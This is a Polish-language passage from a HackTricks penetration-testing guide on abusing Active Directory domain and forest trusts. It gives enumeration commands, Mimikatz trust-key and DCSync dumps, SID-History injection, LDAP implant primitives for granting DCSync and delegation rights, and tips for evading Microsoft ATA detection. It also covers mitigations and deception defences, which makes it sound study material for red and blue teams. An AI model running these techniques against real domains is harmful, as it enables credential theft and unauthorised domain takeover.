Uwaga: jeśli użyjesz błędnych danych, pojawią się dość brzydkie logi.
LAPS Persistence
Wcześniej omówiliśmy jak eskalować uprawnienia, jeśli masz wystarczające uprawnienia do odczytu haseł LAPS. Jednak te hasła mogą być także użyte do utrzymania persistence.
Sprawdź:
Forest Privilege Escalation - Domain Trusts
Microsoft traktuje Forest jako granicę bezpieczeństwa. Oznacza to, że kompromitacja pojedynczej domeny może potencjalnie doprowadzić do kompromitacji całego Forestu.
Basic Information
domain trust to mechanizm bezpieczeństwa, który pozwala użytkownikowi z jednej domeny na dostęp do zasobów w innej domenie. Tworzy on powiązanie między systemami uwierzytelniania obu domen, umożliwiając płynny przepływ weryfikacji uwierzytelnienia. Gdy domeny ustanawiają trust, wymieniają i przechowują określone klucze na swoich Domain Controllerach (DC), które są kluczowe dla integralności trustu.
W typowym scenariuszu, jeśli użytkownik chce uzyskać dostęp do usługi w zaufanej domenie, musi najpierw poprosić o specjalny bilet znany jako inter-realm TGT od DC swojej własnej domeny. Ten TGT jest szyfrowany wspólnym kluczem, który obie domeny uzgadniają. Użytkownik następnie przedstawia ten TGT DC zaufanej domeny, aby otrzymać bilet serwisowy (TGS). Po pomyślnej weryfikacji inter-realm TGT przez DC zaufanej domeny, wystawia ona TGS, przyznając użytkownikowi dostęp do usługi.
Kroki:
- Komputer-klient w Domain 1 rozpoczyna proces używając swojego NTLM hash do żądania Ticket Granting Ticket (TGT) od swojego Domain Controller (DC1).
- DC1 wydaje nowy TGT, jeśli klient zostanie pomyślnie uwierzytelniony.
- Klient następnie żąda inter-realm TGT od DC1, który jest potrzebny do dostępu do zasobów w Domain 2.
- Inter-realm TGT jest szyfrowany trust key współdzielonym między DC1 i DC2 jako część dwukierunkowego trustu domen.
- Klient zabiera inter-realm TGT do Domain 2’s Domain Controller (DC2).
- DC2 weryfikuje inter-realm TGT używając współdzielonego trust key i, jeśli jest prawidłowy, wydaje Ticket Granting Service (TGS) dla serwera w Domain 2, do którego klient chce uzyskać dostęp.
- W końcu klient przedstawia ten TGS serwerowi, który jest zaszyfrowany hashem konta serwera, aby uzyskać dostęp do usługi w Domain 2.
Different trusts
Ważne jest, aby zauważyć, że trust może być jednokierunkowy lub dwukierunkowy. W opcji dwukierunkowej obie domeny ufają sobie nawzajem, ale w relacji jednokierunkowej jedna z domen będzie trusted, a druga trusting. W tym ostatnim przypadku będziesz mógł uzyskiwać dostęp do zasobów tylko wewnątrz trusting domain z trusted domain.
Jeżeli Domain A ufa Domain B, A jest domeną trusting, a B jest trusted. Co więcej, w Domain A będzie to Outbound trust; a w Domain B będzie to Inbound trust.
Różne relacje zaufania
- Parent-Child Trusts: Typowa konfiguracja wewnątrz tego samego forest, gdzie domena potomna automatycznie ma dwukierunkowy, przechodni trust ze swoją domeną nadrzędną. Oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a potomkiem.
- Cross-link Trusts: Nazywane także “shortcut trusts”, ustanawiane między domenami potomnymi, aby przyspieszyć procesy referencyjne. W złożonych forestach referencje uwierzytelnienia zwykle muszą podróżować do korzenia forest, a następnie w dół do docelowej domeny. Tworząc cross-links, skraca się tę drogę, co jest szczególnie przydatne w środowiskach geograficznie rozproszonych.
- External Trusts: Ustanawiane między różnymi, niespokrewnionymi domenami i są z natury nieprzechodnie. Według dokumentacji Microsoft, external trusts są użyteczne do uzyskiwania dostępu do zasobów w domenie poza obecnym forestem, który nie jest połączony przez forest trust. Bezpieczeństwo wzmacniane jest przez filtrowanie SID przy external trusts.
- Tree-root Trusts: Te trusty są automatycznie ustanawiane między domeną root forest a nowo dodanym tree root. Chociaż nie są często spotykane, tree-root trusts są istotne przy dodawaniu nowych drzew domen do forest, umożliwiając im zachowanie unikalnej nazwy domeny i zapewniając dwukierunkową przechodniość. Więcej informacji można znaleźć w poradniku Microsoft.
- Forest Trusts: Ten typ trustu to dwukierunkowy, przechodni trust między dwoma forest root domains, również wymuszający filtrowanie SID w celu wzmocnienia bezpieczeństwa.
- MIT Trusts: Trusty te są ustanawiane z nie-Windowsowymi domenami Kerberos zgodnymi z RFC4120. MIT trusts są bardziej wyspecjalizowane i przeznaczone dla środowisk wymagających integracji z systemami Kerberos poza ekosystemem Windows.
Other differences in trusting relationships
- Relacja zaufania może być również przechodnia (A ufa B, B ufa C, więc A ufa C) lub nieprzechodnia.
- Relacja zaufania może być ustawiona jako bidirectional trust (obie ufają sobie) lub jako one-way trust (tylko jedna ufa drugiej).
Attack Path
- Enumerate relacje zaufania
- Sprawdź czy jakikolwiek security principal (user/group/computer) ma dostęp do zasobów drugiej domeny, być może przez wpisy ACE lub poprzez członkostwo w grupach drugiej domeny. Szukaj relacji między domenami (trust został prawdopodobnie utworzony w tym celu).
- kerberoast w tym przypadku może być kolejną opcją.
- Skompromituj kontа, które mogą pivotować przez domeny.
Atakujący mogą uzyskać dostęp do zasobów w innej domenie trzema głównymi mechanizmami:
- Local Group Membership: Principals mogą być dodani do lokalnych grup na maszynach, takich jak grupa “Administrators” na serwerze, przyznając im znaczną kontrolę nad tą maszyną.
- Foreign Domain Group Membership: Principals mogą też być członkami grup w domenie obcej. Jednak skuteczność tej metody zależy od charakteru trustu i zakresu grupy.
- Access Control Lists (ACLs): Principals mogą być określeni w ACL, szczególnie jako podmioty w ACE w DACL, dając im dostęp do określonych zasobów. Dla tych, którzy chcą zagłębić się w mechanikę ACLs, DACLs i ACEs, dokument “An ACE Up The Sleeve” jest nieocenionym źródłem.
Find external users/groups with permissions
Możesz sprawdzić CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com, aby znaleźć foreign security principals w domenie. Będą to użytkownicy/grupy z zewnętrznej domeny/forestu.
Możesz to sprawdzić w Bloodhound lub używając powerview:
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
Child-to-Parent forest privilege escalation
# Fro powerview
Get-DomainTrust
SourceName : sub.domain.local --> current domain
TargetName : domain.local --> foreign domain
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST --> WITHIN_FOREST: Both in the same forest
TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
Inne sposoby enumeracji zaufania domen:
# Get DCs
nltest /dsgetdc:<DOMAIN>
# Get all domain trusts
nltest /domain_trusts /all_trusts /v
# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
Warning
Istnieją 2 zaufane klucze, jeden dla Child –> Parent i drugi dla Parent –> Child.
Możesz sprawdzić, który jest używany przez bieżącą domenę za pomocą:Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
SID-History Injection
Zwiększ przywileje do Enterprise admin w domenie child/parent, nadużywając zaufania za pomocą SID-History injection:
Eksploatacja zapisywalnego Configuration NC
Kluczowe jest zrozumienie, jak można wykorzystać Configuration Naming Context (NC). Configuration NC pełni rolę centralnego repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego Domain Controller (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię Configuration NC. Aby to wykorzystać, trzeba mieć SYSTEM privileges on a DC, najlepiej na child DC.
Link GPO to root DC site
Kontener Sites w Configuration NC zawiera informacje o wszystkich lokalizacjach (sites) komputerów należących do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą powiązać GPO z root DC sites. To działanie może potencjalnie skompromitować domenę root poprzez manipulowanie politykami stosowanymi do tych sites.
For in-depth information, one might explore research on Bypassing SID Filtering.
Compromise any gMSA in the forest
Wektor ataku obejmuje celowanie w uprzywilejowane gMSA w domenie. KDS Root key, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Mając uprawnienia SYSTEM na dowolnym DC, możliwe jest uzyskanie dostępu do KDS Root key i obliczenie haseł dla dowolnego gMSA w całym lesie.
Detailed analysis and step-by-step guidance can be found in:
Komplementarny delegated MSA attack (BadSuccessor – abusing migration attributes):
Badsuccessor Dmsa Migration Abuse
Additional external research: Golden gMSA Trust Attacks.
Schema change attack
Ta metoda wymaga cierpliwości i oczekiwania na tworzenie nowych uprzywilejowanych obiektów AD. Mając uprawnienia SYSTEM, atakujący może zmodyfikować schemę AD (AD Schema), aby przyznać dowolnemu użytkownikowi pełną kontrolę nad wszystkimi klasami. Może to prowadzić do nieautoryzowanego dostępu i kontroli nad nowo tworzonymi obiektami AD.
Further reading is available on Schema Change Trust Attacks.
From DA to EA with ADCS ESC5
ADCS ESC5 vulnerability umożliwia przejęcie kontroli nad obiektami Public Key Infrastructure (PKI) w celu stworzenia szablonu certyfikatu, który pozwala na uwierzytelnienie się jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w Configuration NC, skompromitowanie zapisywalnego child DC pozwala na przeprowadzenie ataków ESC5.
More details on this can be read in From DA to EA with ESC5. In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in Escalating from Child Domain Admins to Enterprise Admins.
External Forest Domain - One-Way (Inbound) or bidirectional
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
TrustType : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
W tym scenariuszu Twoja domena jest zaufana przez domenę zewnętrzną, co daje Ci nieokreślone uprawnienia względem niej. Musisz znaleźć które principals Twojej domeny mają jaki dostęp do domeny zewnętrznej i następnie spróbować to wykorzystać:
External Forest Domain - OneWay (Inbound) or bidirectional
Zewnętrzna domena lasu - jednokierunkowa (Outbound)
Get-DomainTrust -Domain current.local
SourceName : current.local --> Current domain
TargetName : external.local --> Destination domain
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
W tym scenariuszu twoja domena jest ufająca pewnym uprawnieniom podmiotu z innej domeny.
Jednak, kiedy domena jest zaufana przez domenę ufającą, domena zaufana tworzy użytkownika o przewidywalnej nazwie, który jako hasło używa hasła zaufania. Oznacza to, że możliwe jest uzyskanie dostępu do użytkownika z domeny ufającej, aby dostać się do domeny zaufanej w celu jej enumeracji i próby eskalacji uprawnień:
External Forest Domain - One-Way (Outbound)
Innym sposobem na skompromitowanie domeny zaufanej jest znalezienie SQL trusted link utworzonego w przeciwnym kierunku zaufania domeny (co nie jest zbyt częste).
Innym sposobem na skompromitowanie domeny zaufanej jest oczekiwanie na maszynie, do której użytkownik z domeny zaufanej może się zalogować poprzez RDP. Następnie atakujący może wstrzyknąć kod w proces sesji RDP i uzyskać dostęp do domeny pochodzenia ofiary stamtąd.\
Ponadto, jeśli ofiara zamontowała swój dysk twardy, z procesu sesji RDP atakujący może zapisać backdoors w folderze autostartu dysku twardego. Ta technika nazywa się RDPInception.
Domain trust abuse mitigation
SID Filtering:
- Ryzyko ataków wykorzystujących atrybut SID history w forest trusts jest łagodzone przez SID Filtering, które jest domyślnie aktywowane na wszystkich inter-forest trusts. Opiera się to na założeniu, że intra-forest trusts są bezpieczne, uznając the forest, a nie the domain, za granicę bezpieczeństwa zgodnie ze stanowiskiem Microsoft.
- Jednak jest haczyk: SID filtering może zakłócać działanie aplikacji i dostęp użytkowników, co prowadzi do jego okazjonalnego wyłączenia.
Selective Authentication:
- Dla inter-forest trusts, zastosowanie Selective Authentication zapewnia, że użytkownicy z obu forests nie są automatycznie uwierzytelniani. Zamiast tego wymagane są jawne uprawnienia, aby użytkownicy mogli uzyskać dostęp do domen i serwerów w domenie lub forest ufającym.
- Ważne jest, aby zauważyć, że te środki nie chronią przed wykorzystaniem zapisywalnego Configuration Naming Context (NC) ani przed atakami na trust account.
More information about domain trusts in ired.team.
LDAP-based AD Abuse from On-Host Implants
The LDAP BOF Collection re-implements bloodyAD-style LDAP primitives as x64 Beacon Object Files that run entirely inside an on-host implant (e.g., Adaptix C2). Operators compile the pack with git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make, load ldap.axs, and then call ldap <subcommand> from the beacon. All traffic rides the current logon security context over LDAP (389) with signing/sealing or LDAPS (636) with auto certificate trust, so no socks proxies or disk artifacts are required.
Implant-side LDAP enumeration
get-users,get-computers,get-groups,get-usergroups, andget-groupmembersresolve short names/OU paths into full DNs and dump the corresponding objects.get-object,get-attribute, andget-domaininfopull arbitrary attributes (including security descriptors) plus the forest/domain metadata fromrootDSE.get-uac,get-spn,get-delegation, andget-rbcdexpose roasting candidates, delegation settings, and existing Resource-based Constrained Delegation descriptors directly from LDAP.get-aclandget-writable --detailedparse the DACL to list trustees, rights (GenericAll/WriteDACL/WriteOwner/attribute writes), and inheritance, giving immediate targets for ACL privilege escalation.
ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"
Prymitywy zapisu LDAP do eskalacji i utrwalenia
- BOF-y tworzenia obiektów (
add-user,add-computer,add-group,add-ou) pozwalają operatorowi umieścić nowe principals lub konta maszyn tam, gdzie istnieją uprawnienia do OU.add-groupmember,set-password,add-attributeiset-attributeprzejmują cele bezpośrednio po wykryciu uprawnień write-property. - Polecenia skupione na ACL, takie jak
add-ace,set-owner,add-genericall,add-genericwriteiadd-dcsync, przekładają WriteDACL/WriteOwner na dowolnym obiekcie AD na reset haseł, kontrolę członkostwa w grupach lub uprawnienia do replikacji DCSync, nie pozostawiając artefaktów PowerShell/ADSI. Odpowiednikiremove-*usuwają wstrzyknięte ACE.
Delegacja, roasting i nadużycia Kerberos
add-spn/set-spnnatychmiast czynią skompromitowanego użytkownika Kerberoastable;add-asreproastable(przełącznik UAC) oznacza go do AS-REP roasting bez dotykania hasła.- Makra delegacji (
add-delegation,set-delegation,add-constrained,add-unconstrained,add-rbcd) modyfikująmsDS-AllowedToDelegateTo, flagi UAC lubmsDS-AllowedToActOnBehalfOfOtherIdentityz beacona, umożliwiając ścieżki ataku constrained/unconstrained/RBCD i eliminując potrzebę zdalnego PowerShell lub RSAT.
Iniekcja sidHistory, przenoszenie OU i kształtowanie powierzchni ataku
add-sidhistorywstrzykuje uprzywilejowane SIDy do historii SID kontrolowanego principal (zobacz SID-History Injection), zapewniając ukrytą dziedziczność dostępu całkowicie przez LDAP/LDAPS.move-objectzmienia DN/OU komputerów lub użytkowników, pozwalając atakującemu przeciągnąć zasoby do OU, gdzie już istnieją delegowane prawa, przed nadużyciemset-password,add-groupmemberlubadd-spn.- Ściśle ograniczone polecenia usuwania (
remove-attribute,remove-delegation,remove-rbcd,remove-uac,remove-groupmemberitp.) pozwalają na szybkie wycofanie po zebraniu poświadczeń lub ustanowieniu persistence, minimalizując telemetrię.
AD -> Azure & Azure -> AD
Page not found - HackTricks Cloud
Some General Defenses
Learn more about how to protect credentials here.
Środki obronne dotyczące ochrony poświadczeń
- Ograniczenia Domain Admins: Zaleca się, aby Domain Admins logowali się jedynie do Domain Controllers, unikając korzystania z nich na innych hostach.
- Uprawnienia kont serwisowych: Usługi nie powinny być uruchamiane z uprawnieniami Domain Admin (DA) w celu utrzymania bezpieczeństwa.
- Czasowe ograniczenie przywilejów: Dla zadań wymagających uprawnień DA, ich czas trwania powinien być ograniczony. Można to zrobić za pomocą:
Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20) - Łagodzenie LDAP relay: Audytuj Event ID 2889/3074/3075, a następnie wymuś LDAP signing oraz LDAPS channel binding na DCs/clients, aby zablokować próby LDAP MITM/relay.
Ldap Signing And Channel Binding
Wdrażanie technik Deception
- Wdrażanie deception polega na ustawianiu pułapek, takich jak konta lub komputery przynęty, z cechami typu hasła never expire lub oznaczeniem Trusted for Delegation. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi uprawnieniami lub dodawanie ich do grup o wysokich uprawnieniach.
- Praktyczny przykład używa narzędzi takich jak:
Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose - Więcej o wdrażaniu technik deception znajdziesz na Deploy-Deception on GitHub.
Wykrywanie Deception
- Dla obiektów użytkownika: Podejrzane wskaźniki obejmują nietypowe ObjectSID, rzadkie logowania, daty utworzenia i niskie liczby błędnych haseł.
- Ogólne wskaźniki: Porównywanie atrybutów potencjalnych obiektów przynęty z prawdziwymi może ujawnić niespójności. Narzędzia takie jak HoneypotBuster pomagają w identyfikacji takich deceptions.
Omijanie systemów wykrywania
- Omijanie wykrywania Microsoft ATA:
- Enumeracja użytkowników: Unikanie enumeracji sesji na Domain Controllers, aby zapobiec wykryciu przez ATA.
- Impersonacja ticketów: Użycie kluczy aes do tworzenia ticketów pomaga unikać detekcji przez brak degradacji do NTLM.
- Ataki DCSync: Wykonywanie z poza Domain Controller, aby uniknąć wykrycia przez ATA — wykonanie bezpośrednio z Domain Controller wywoła alerty.
References
- http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
- https://www.labofapenetrationtester.com/2018/10/deploy-deception.html
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain
- LDAP BOF Collection – In-Memory LDAP Toolkit for Active Directory Exploitation
- TrustedSec – Holy Shuck! Weaponizing NTLM Hashes as a Wordlist
- Barbhack 2025 CTF (NetExec AD Lab) – Pirates
- Hashcat
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


